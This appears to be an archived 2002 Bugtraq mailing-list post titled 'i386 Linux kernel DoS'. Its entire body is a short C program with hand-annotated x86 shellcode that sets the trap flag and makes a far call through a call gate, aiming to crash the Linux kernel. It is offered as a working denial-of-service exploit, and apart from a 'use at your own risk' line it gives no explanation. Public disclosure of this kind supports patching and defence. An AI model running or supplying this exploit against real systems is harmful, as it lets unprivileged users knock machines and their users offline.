[27850] in bugtraq

home help back first fref pref prev next nref lref last post

i386 Linux kernel DoS

daemon@ATHENA.MIT.EDU (Christophe Devine)
Wed Nov 13 09:11:43 2002

Date: 11 Nov 2002 20:25:55 -0000
Message-ID: <20021111202555.18091.qmail@mail.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: Christophe Devine <devine@iie.cnam.fr>
To: bugtraq@securityfocus.com




/* USE AT YOUR OWN RISK ! */

int main( void )
{
    char dos[] = "\x9C"                           /* pushfd       */
                 "\x58"                           /* pop eax      */
                 "\x0D\x00\x01\x00\x00"           /* or eax,100h  */
                 "\x50"                           /* push eax     */
                 "\x9D"                           /* popfd        */
                 "\x9A\x00\x00\x00\x00\x07\x00";  /* call 07h:00h */

    void (* f)( void );

    f = (void *) dos; (* f)();

    return 1;
}


home help back first fref pref prev next nref lref last post